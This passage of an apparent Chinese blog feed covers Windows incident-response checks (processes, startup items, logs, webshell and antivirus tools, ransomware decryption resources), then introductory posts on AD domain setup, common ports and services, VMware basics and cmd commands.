a、开始-运行-键入 msinfo32，依次点击“软件环境-正在运行任务”就可以查看到进程的详细信息，比如进程路径、进程ID、文件创建日期、启动时间等。
b、打开D盾_web查杀工具，进程查看，关注没有签名信息的进程。
c、通过微软官方提供的 Process Explorer 等工具进行排查。
d、查看可疑的进程及子进程。

3、小技巧：
a、查看端口对应的PID：netstat -ano | findstr &quot;port&quot;
b、查看PID对应的进程：tasklist /fi &quot;PID eq pid&quot;
c、查看进程对应的程序位置：
任务管理器-选择对应进程-右键打开文件位置
运行键入wmic，命令 process
d、查看Windows服务所对应的端口：
运行键入drivers-进入etc文件-打开services文件
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.4 检查启动项、计划任务、服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、检查服务器是否有异常的启动项。
检查方法：
a、登录服务器，任务管理器-启动
b、运行键入 msconfig –启动
c、运行键入 regedit 打开注册表，查看开机启动项是否正常，特别注意如下注册
表项：
HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
d、利用安全软件查看启动项、开机时间管理等
e、组策略，运行 gpedit.msc

2、检查计划任务
检查方法：
a、win 搜索任务计划程序 或 右键此电脑-管理，查看计划任务属性，便可以发现木马文件的路径。
b、cmd中输入命令 at 检查计算机与网络上的其他计算机之间的会话或计划任务，如有，则确认是否为正常连接。
3、服务自启动
检查方法：
运行键入 services.msc，注意服务状态和启动类型，检查是否有异常服务。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.5 检查系统相关信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、查看系统版本以及补丁信息
检查方法：cmd中命令 systeminfo，查看系统信息。

2、查找可以目录及文件
检查方法：
a、查看用户目录，新建账号会在这个目录生成一个用户目录，查看是否有新建用户目录。
windows 2003 C:\Documents and Settings
windows 2008 R2 C:\User\
b、运行键入 recent，分析最近打开分析可疑文件
c、在服务器目录，可根据文件夹内文件列表时间进行排序，查找可疑文件
d、回收站、浏览器下载目录、浏览器历史记录
e、修改时间在创建时间之前的为可疑文件

3、得到发现WEBSHELL、远控木马的创建时间，如何找出同一时间范围内创建的文件？
a、利用 Registry Workshop 注册表编辑器的搜索功能，可以找到最后写入时间区间的文件。
b、利用计算机自带文件搜索功能，指定修改时间进行搜索。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.6 自动化查杀&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、病毒查杀
检查方法:下载安全软件，更新最新病毒库，进行全盘扫描。
2、webshell查杀
检查方法:选择具体站点路径进行webshell查杀，建议使用两款webshell查杀工具同时查杀，可相互补充规则库的不足。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.7 日志分析&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、系统日志
分析方法：
a、前提：开启审核策略，若日后系统出现故障、安全事故则可以查看系统的日志文件，排除故障，追查入侵者的信息等。
b、运行键入eventvwr.msc，打开事件查看器。
c、导出应用程序日志、安全日志、系统日志，利用 Log Parser 进行分
析。

Log Parser Lizard
对于GUI环境的Log Parser Lizard，其特点是比较易于使用，甚至不需要记忆
繁琐的命令，只需要做好设置，写好基本的SQL语句，就可以直观的得到结
果。
下载地址：http://www.lizard-labs.com/log_parser_lizard.aspx
依赖包：Microsoft .NET Framework 4.5，下载地址：
https://www.microsoft.com/zh-cn/download/details.aspx?id=30653
Event Log Explorer
Event Log Explorer是一款非常好用的Windows日志分析工具。可用于查看、
监视和分析跟事件记录，包括安全，系统，应用程序和其他微软Windows的
记录被记载的事件，其强大的过滤功能可以快速的过滤出有价值的信息。
下载地址：https://event-log-explorer.en.softonic.com/

2、WEB访问日志
分析方法：
a、找到中间件的web日志，打包到本地方便进行分析。
b、推荐工具：Windows下，推荐使用 EmEditor 进行日志分析，支持大文本，搜索效率还不错。Linux下，使用Shell命令组合查看分析。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.8 工具使用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、病毒分析
PCHunter（已经收费）： http://www.xuetr.com/
火绒剑： https://www.huorong.cn/
Process Explorer：
https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
processhacker： https://processhacker.sourceforge.io/downloads.php
autoruns： https://docs.microsoft.com/zh-cn/sysinternals/downloads/autoruns

2、病毒查杀
卡巴斯基： http://devbuilds.kaspersky-labs.com/devbuilds/kvrt/latest/full/kvrt.exe
（推荐理由：绿色版、最新病毒库）
大蜘蛛： https://free.drweb.ru/download+cureit+free
（推荐理由：扫描快、一次下载只能用1周，更新病毒库）
火绒安全软件：https://www.huorong.cn
360杀毒：http://sd.360.cn/download_center.html

3、病毒动态
CVERC-国家计算机病毒应急处理中心：https://www.cverc.org.cn/
微步在线X情报社区：https://x.threatbook.cn/
火绒安全论坛：https://bbs.huorong.cn/
爱毒霸社区：http://bbs.duba.net
腾讯电脑管家：http://bbs.guanjia.qq.com/

4、在线病毒扫描网站
virscan：http://www.virscan.org
腾讯哈勃分析系统：https://habo.qq.com
Jotti恶意软件扫描系统：https://virusscan.jotti.org
针对计算机病毒、手机病毒、可疑文件等进行检测分析：
http://www.scanvir.com

5、webshell查杀
D盾_Web查杀：
http://www.d99net.net
河马webshell查杀（有可能查不到）：
http://www.shellpub.com
深信服Webshell网站后面检测工具：
http://edr.sangfor.com.cn/backdoor_detection.html
Safe3:
http://www.uusec.com/webshell.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.9 后门查杀&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、文件md5校验
下载D盾_Web查杀工具的时候，我们可以留意到下载的压缩包里，除了有一个exe可执行文件，还有一个文件md5值。
这个是软件作者在发布软件时，通过md5算法计算出该exe文件的“特征值”。
下载地址：http://www.d99net.net/down/WebShellKill_V2.0.9.zip
文件MD5：29285decadbce3918a4f8429ec33df46
当用户下载软件时，可以使用相同的校验算法计算下载到exe文件的特征值，并与
软件开发者发布的特征值比较。如果两个特征值相同，则认为下载到的exe文件是
正确的。如果两个特征值不同，则认为下载到exe文件是被篡改过的。
C:\Users\Administrator&amp;gt;certutil -hashfile Desktop\zq.jpg md5

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.10 勒索自救指南&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;在勒索病毒搜索引擎输入病毒名、勒索邮箱、被加密后文件的后缀名，或直
接被上传被加密的文件、勒索提示信息，即可快速查找到病毒详情和解密工
具。
【360】勒索病毒搜索引擎，支持检索超过800中常见勒索病毒
http://lesuobingdu.360.cn
【腾讯】勒索病毒搜索引擎，支持检索超过300中常见勒索病毒
https://guanjia.qq.com/pr/ls/
【启明】VenusEye勒索病毒搜索引擎，超300中勒索病毒家族
https://lesuo.venuseye.com.cn/
【奇安信】勒索病毒搜索引擎
https://lesuobingdu.qianxin.com/

勒索软件解密工具集
很多安全公司都提供了免费的勒索病毒解密工具下载，收集和整理相关下载
地址，可以帮助我们了解和获取最新的勒索病毒解密工具。
【Github项目】勒索病毒解密工具收集汇总
https://github.com/jiansiting/Decryption-Tools
【卡巴斯基】免费勒索解密器
https://noransom.kaspersky.com/
【火绒】安全工具下载
https://bbs.huorong.cn/forum-55-1.html
【腾讯哈勃】勒索软件专杀工具
https://habo.qq.com/tool/index
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Windows 域环境搭建</title><link>https://wangyi187.top/posts/os-05-windows-ad/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-05-windows-ad/</guid><description>Windows域环境搭建 1 计算机工作环境 本地工作组 域 2 DNS与AD域 2.1 域结构 根域 》域林 》域树 单域 2.2 域系统构成 域控 活动目录 常用对象 2.3 </description><pubDate>Thu, 11 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Windows域环境搭建&lt;/h1&gt;
&lt;h2&gt;1 计算机工作环境&lt;/h2&gt;
&lt;p&gt;本地工作组&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;本地工作组（local WORKGROUP）是一种在Windows操作系统中用于组织和管理计算机的网络身份验证和共享资源的方法

特点：
1.工作组是没有集中管理的作用
2.同局域网线下，通过共享的方式分享文件
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;域&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;域是一个逻辑组织单元，用于管理和集中控制网络中的用户、计算机和资源

特点：
1.主/从管理模式：域控、域用户
2.能实现文件的统一共享，便于管理


概念：
1.域是windows网络中独立运行的基本单位，域之间相互访问则需要建立信任关系，域有安全边界的作用。
2.域既是windows网络操作系统的逻辑组织单元，也是Internet的逻辑组织单元，在window操作系统中，域是安全边界。
3.域是共享用户账号，计算机账号和安全策略的计算机集合。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 DNS与AD域&lt;/h2&gt;
&lt;h3&gt;2.1 域结构&lt;/h3&gt;
&lt;p&gt;根域--》域林--》域树&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;根域
在整个域林中最先创建出来的域就是根域，根域在整个域林环境中得地位、优先级、重要性等等都是最高。

域林
多个域树构成

域树
多个域构成
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;单域&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Windows网络环境中只存在一个域的情况
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.2 域系统构成&lt;/h3&gt;
&lt;h4&gt;域控&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;域控制器（Domain Controller，DC）：是一台安装并运行Active 
Directory的服务器，它管理用户和域交互之间的所有安全相关方面，集中安全性和管理。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;活动目录&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;AD 活动目录简称
Active Directory(活动目录)是微软Windows Server中，负责架构中大型网络环境的集中式目录管理服务(Directory Services)许多AD域的管理工具都是利用这个界面来呼叫并使用AD域的资料。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;域控是活动目录的存储位置，活动目录在域控制器内
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;常用对象&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;域：域是AD的根，是AD的管理单位，包含了大量域对象，如组织单元、组、用户、计算机等等
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;组织单元 OU
是一个容器，可以把域中得对象组织成逻辑组，包含了用户、计算机、打印机等等
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;群组
群组是一批具有相同权限的用户账户
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;用户
AD域中是最小的管理单元。域用户是最容易管理又难管理。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.3 域信任&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;单向信任、双向信任、快捷信任

单向信任
是指在两个域之间创建单向的信任路径，一个方向为信任流，一个方向为访问流

双向信任
是指域之间建立两个单向信任，两个方向都有访问流和信任流
- 域树默认是双向信任

快捷信任
属于双向信任
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 域环境搭建&lt;/h2&gt;
&lt;p&gt;准备环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;域控：Windows server 2008 r2
ip：10.10.10.10/24
dns：10.10.10.10

域用户：Windows 7
ip：10.10.10.20/24
dns：10.10.10.10

两台虚拟机要相互通信
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开始搭建&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038628.png&quot; alt=&quot;image-20240711101950325&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038629.png&quot; alt=&quot;image-20240711102034448&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038630.png&quot; alt=&quot;image-20240711102233913&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038631.png&quot; alt=&quot;image-20240711102336371&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038632.png&quot; alt=&quot;image-20240711102404860&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038633.png&quot; alt=&quot;image-20240711102500122&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038634.png&quot; alt=&quot;image-20240711103027671&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038635.png&quot; alt=&quot;image-20240711103222085&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038636.png&quot; alt=&quot;image-20240711103243253&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038637.png&quot; alt=&quot;image-20240711103430090&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038638.png&quot; alt=&quot;image-20240711103608878&quot; /&gt;&lt;/p&gt;
&lt;p&gt;桌面配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038639.png&quot; alt=&quot;image-20240711103844371&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038074.png&quot; alt=&quot;image-20240711103934409&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038333.png&quot; alt=&quot;image-20240711104030697&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038465.png&quot; alt=&quot;image-20240711104152613&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038545.png&quot; alt=&quot;image-20240711104220289&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038751.png&quot; alt=&quot;image-20240711104325376&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038981.png&quot; alt=&quot;image-20240711104500749&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407112038606.png&quot; alt=&quot;image-20240711104623034&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Windows 服务与端口</title><link>https://wangyi187.top/posts/os-06-windows-ports/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-06-windows-ports/</guid><description>Windows服务端口 1 什么是端口 1.1 端口概念 1.2 端口分类 2 常见端口服务 服务 端口 : : : : http 80 https 443 ftp 20,21 s</description><pubDate>Thu, 11 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Windows服务端口&lt;/h1&gt;
&lt;h2&gt;1 什么是端口&lt;/h2&gt;
&lt;h3&gt;1.1 端口概念&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;“端口”是英文port的意译，可以认为是设备与外界通讯交流的出口。端口可分为虚拟端口和物理端口，其中虚拟端口指计算机内部或交换机路由器内的端口，不可见。物理端口又称为接口，是可见端口。

端口的数量：65536个 0-65535
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.2 端口分类&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;公认端口：
从0到1023，它们紧密绑定于一些服务。通常这些端口的通讯明确表明了某种服务的协议。例如：80端口实际上总是HTTP通讯。
- 80 443 20,21 22 23 25（SMTP） 67,68

注册端口：
从1024到49151。它们松散地绑定于一些服务。也就是说有许多服务绑定于这些端口，这些端口同样用于许多其它目的。例如：许多系统处理动态端口从1024左右开始。
- mysql数据库 --- 3306  RDP --- 3389 

动态/私有端口：
从49152到65535。理论上，不应为服务分配这些端口。实际上，机器通常从1024起分配动态端口。但也有例外：SUN的RPC端口从32768开始。
- tcp连接/udp连接
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 常见端口服务&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;服务&lt;/th&gt;
&lt;th&gt;端口&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;http&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;https&lt;/td&gt;
&lt;td&gt;443&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ftp&lt;/td&gt;
&lt;td&gt;20,21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ssh&lt;/td&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;telnet&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dhcp&lt;/td&gt;
&lt;td&gt;67,68&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dns&lt;/td&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rdp&lt;/td&gt;
&lt;td&gt;3389&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;80 -- http 服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;超文本传输协议（英文：HyperText Transfer Protocol，缩写：HTTP）是一种用于分布式、协作式和超媒体信息系统的应用层协议。HTTP是万维网的数据通信的基础。

https://www.baidu.com/s?id=1804201010017074460&amp;amp;wfr=spider&amp;amp;for=pc ---- URL
 协议       域名      路径         参数
 
 
请求包：
请求行、请求头、空行、请求体

响应包：
状态行、响应头、空行、响应数据
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;443 --- https服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;HTTPS 协议（HyperText Transfer Protocol over Secure Socket Layer）：可以理解为HTTP+SSL/TLS， 即 HTTP 下加入 SSL 层，HTTPS 的安全基础是 SSL，因此加密的详细内容就需要 SSL，用于安全的 HTTP 数据传输。

加密方式：对称加密和非对称加密
对称加密：加密和解密同时使用一种加密方式
- 安全性低，速度更快
- 算法：des 3des aes等等

非对称加密：加密和解密是用两种不同的方式进行操作 --- 公钥和私钥
- 速度比较慢，安全性会比较高。
公钥和私钥：
1.每个用户都有一对私钥和公钥。
2.私钥是给自己用的，进行解密和签名
3.公钥是由本人公开，用于加密或者验证签名，是给别人用的。


1.A发送文件给B，A应该如何加密，能够让B相信是A发送来的文件。
A使用A自己的私钥加密，B用A的公钥解密，数字签名。

2.A发送文件给B，只能由B能看到该文件，该如何加密
A使用B的公钥加密，B用自己的私钥解密，数据传输。


CA机构 --- CA证书授权中心 --- 承担公钥体系中公钥的合法校验的责任
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;53 --- DNS服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 迭代查询：立即返回
根域名服务器返回顶级DNS服务器的IP给本地的DNS服务器
顶级域名服务器返回权限DNS服务器的IP给本地的DNS服务器
2. 递归查询：绕一圈
本地DNS--&amp;gt;根DNS–&amp;gt;顶级DNS–&amp;gt;权限DNS–&amp;gt;顶级DNS–&amp;gt;根DNS–&amp;gt;本地DNS
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;67,68 --- DHCP服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;动态主机配置协议
DHCP用的端号是UDP67和UDP68，这两个端口是正常的DHCP服务端口，可以理解为一个发送，一专个接收。客户端属向68端口（bootps）广播请求配置，服务器向67端口（bootpc）广播回应请求。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;23 --- telnet服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;23端口是Telnet的端囗。
Telnet是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。
在终端使用者的电脑上使用Telnet程序,用它连接到服务器。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 防火墙介绍&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;硬件防火墙
软件防火墙


Windows防火墙：
对外：默认拒绝所有
对内：默认允许所有
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4 修改RDP默认端口&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp  --- 改键值  PortNumber  --- 9999
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp  --- 改键值  PortNumber  --- 9999

重启rdp服务

192.168.63.145:9999

连不上观察防火墙规则 ---- 是否开发对应的端口规则
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>操作系统简介与 VM 虚拟机</title><link>https://wangyi187.top/posts/os-01-os-intro/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-01-os-intro/</guid><description>操作系统简介和VM虚拟机介绍 1 软件安装及介绍 2 操作系统 2.1 概念 2.2 目前主流操作系统 3 虚拟机 3.1 概念 3.2 流行的虚拟机软件 3.3 意义及特点 意义</description><pubDate>Wed, 10 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;操作系统简介和VM虚拟机介绍&lt;/h1&gt;
&lt;h2&gt;1 软件安装及介绍&lt;/h2&gt;
&lt;h2&gt;2 操作系统&lt;/h2&gt;
&lt;h3&gt;2.1 概念&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1.可管理计算机硬件与软件资源的计算机程序
2.操作系统需要处理如管理与配置内存、控制输入设备与输出设备、操作网络与管理文件系统等事务
3.提供一个让用户与系统交互的操作界面
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.2 目前主流操作系统&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Windows：用户体系庞大
Linux：相对于Windows系统比较稳定，适合服务器使用
mac：用户体系相对小
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 虚拟机&lt;/h2&gt;
&lt;h3&gt;3.1 概念&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1.能够运行在计算机上的一款软件程序
2.能够模拟计算机硬件功能
3.一个独立的计算机环境
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.2 流行的虚拟机软件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;VMware
VirtualBox
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.3 意义及特点&lt;/h3&gt;
&lt;p&gt;意义&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.能够使用多种操作系统
2.安全测试（编写脚本、木马测试等）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;特点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;分区：在单一物理服务器上同时运行多个虚拟机
隔离：同一服务器上的虚拟机之间互相隔离
封装：整个虚拟机都保存在文件中，可以通过移动文件的方式进行虚拟机迁移
相对于硬件独立：无需修改即可在任何服务器上运行虚拟机
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4 Windows发展历程介绍&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Windows&lt;/th&gt;
&lt;th&gt;Windows server&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;NT 3.1&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NT 3.5x&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NT 4.0&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;NT 4.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NT 5.x&lt;/td&gt;
&lt;td&gt;Windows xp&lt;/td&gt;
&lt;td&gt;Windows server 2003&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NT 6.x&lt;/td&gt;
&lt;td&gt;Windows Vista、Windows 7、Windows 8&lt;/td&gt;
&lt;td&gt;Windows server 2008、Windows server 2008 r2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NT 10.x&lt;/td&gt;
&lt;td&gt;Windows 10、Windows 11&lt;/td&gt;
&lt;td&gt;Windows server 2019、Windows server 2022&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;5 VM虚拟机功能介绍&lt;/h2&gt;
&lt;p&gt;快照&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;快照可以回到你之前想定格的位置
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;克隆&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;链接克隆
链接克隆是对原始虚拟机的引用，所需的存储磁盘空间较少。但是，必须能够访问原始虚拟机才能运行。

完整克隆
完整克隆是原始虚拟机当前状态的完整副本。此副本虚拟机完全独立，但需要较多的存储磁盘空间。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三种联网方式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;桥接模式 ---- VM 0
可以让物理机和虚拟机处在不同的两个局域网的情况下，处于同一个局域网

注意点：
1.桥接网络的设备要记得改（虚拟网络编辑器 网卡要选对）
2.VMware和物理机处于同网段
3.避免IP冲突

nat模式  ---网络地址转换 --- VM 8 
建议属于自己的内网，外部能够访问进来

注意点：
1.查看VMware服务是否有正常开启 --- services.msc
2.查看虚拟网络编辑器是否有勾选使用本地DHCP服务
3.如果硬是出不了网，虚拟网络编辑器 ---》 取消勾选并应用 将主机虚拟适配器连接到此网络 --》 再勾选并应用将主机虚拟适配器连接到此网络

仅主机模式
仅让主机与虚拟机之间实现网络共享
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;6 远程登录方式&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;RDP 远程桌面服务 ---》 3389

物理机：
mstsc --》ip 用户名 密码
登录失败：你所登录用户没有设置密码

虚拟机：
netstat -ano  查看是否有开启 3389 
开始 ---》 搜索 remote --》允许远程访问您的计算机 --》勾选 允许运行任意.....
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Windows 服务器基础运维（二）</title><link>https://wangyi187.top/posts/os-03-windows-ops-2/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-03-windows-ops-2/</guid><description>Windows服务器基础运维 1 DOS命令行窗口 1.1 概念 1.2 打开方式 1.3 命令类型 2 Windows运维常用命令 cd 切换目录 创建、删除文件 创建、删除目录</description><pubDate>Wed, 10 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Windows服务器基础运维&lt;/h1&gt;
&lt;h2&gt;1 DOS命令行窗口&lt;/h2&gt;
&lt;h3&gt;1.1 概念&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1.什么是命令行？
命令行就是在Windows操作系统中打开DOS窗口，以字符串的形式执行Windows管理程序。
2.什么是DOS？
DOS(Disk Operation System 磁盘操作系统)，DOS系统目前已经没有什么人使用了，但是dos命令却依然存在于我们使用的windows系统之中。大部分的DOS命令都已经在Windows里变成了可视化的界面，但是有一些高级的DOS命令还是要在DOS环境下来执行。所以学习命令行对于我们熟练操作Windows系统是很有必要的。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.2 打开方式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1.win+r    cmd
2.搜索   cmd
3.路径框位置输入  cmd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.3 命令类型&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;内部命令:内部存在

外部命令:程序外加用法
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 Windows运维常用命令&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;注意点：
1.不区分大小写
2.命令 参数列表
3.使用&apos;/?&apos;查看命令用法
4.上下键查看历史命令
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ver   //查看系统版本
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;hostname   //查看主机名
whoami   //用户名
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ipconfig   //查看网络配置
/all   查看详细信息
/release  释放连接
/renew  更新当前网络
/flushdns   清除 DNS 解析程序缓存。

netstat -ano  //查看开发端口
&lt;/code&gt;&lt;/pre&gt;
